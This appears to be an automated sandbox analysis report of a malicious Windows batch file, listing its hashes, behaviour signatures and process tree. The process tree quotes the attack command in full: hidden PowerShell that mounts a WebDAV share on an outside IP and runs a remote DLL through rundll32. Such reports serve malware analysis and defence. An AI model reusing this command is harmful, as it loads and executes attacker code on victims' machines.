Analysis

  • max time kernel
    122s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    15-07-2024 06:55

General

  • Target

    2908823720515712128.bat

  • Size

    2KB

  • MD5

    3ebf0e5eff81bd860d63d5ccccaeb42c

  • SHA1

    59c90783062927d5c7f327f67eaa95e13f07d1ac

  • SHA256

    8c46eedb753007c895bf45e0c54c9706286cdc67a68d0024e12f72cb3cf6abb2

  • SHA512

    6fecb4caedf9e0c4e5b19ad787a8315bb2e30762cdf7075a4b043aaf3e7ed3ab9e4c9558a43dc67d8f6a220b34e2bd8009cb2d1362c8c82ea0ba6e6cacb8f58d

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\2908823720515712128.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\922.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2556
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\922.dll entry
          3⤵
            PID:2604

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2660-23-0x000000001B690000-0x000000001B972000-memory.dmp

        Filesize

        2.9MB

      • memory/2660-24-0x0000000001F00000-0x0000000001F08000-memory.dmp

        Filesize

        32KB

      • memory/2684-16-0x0000000002350000-0x0000000002450000-memory.dmp

        Filesize

        1024KB

      • memory/2684-18-0x0000000002350000-0x0000000002450000-memory.dmp

        Filesize

        1024KB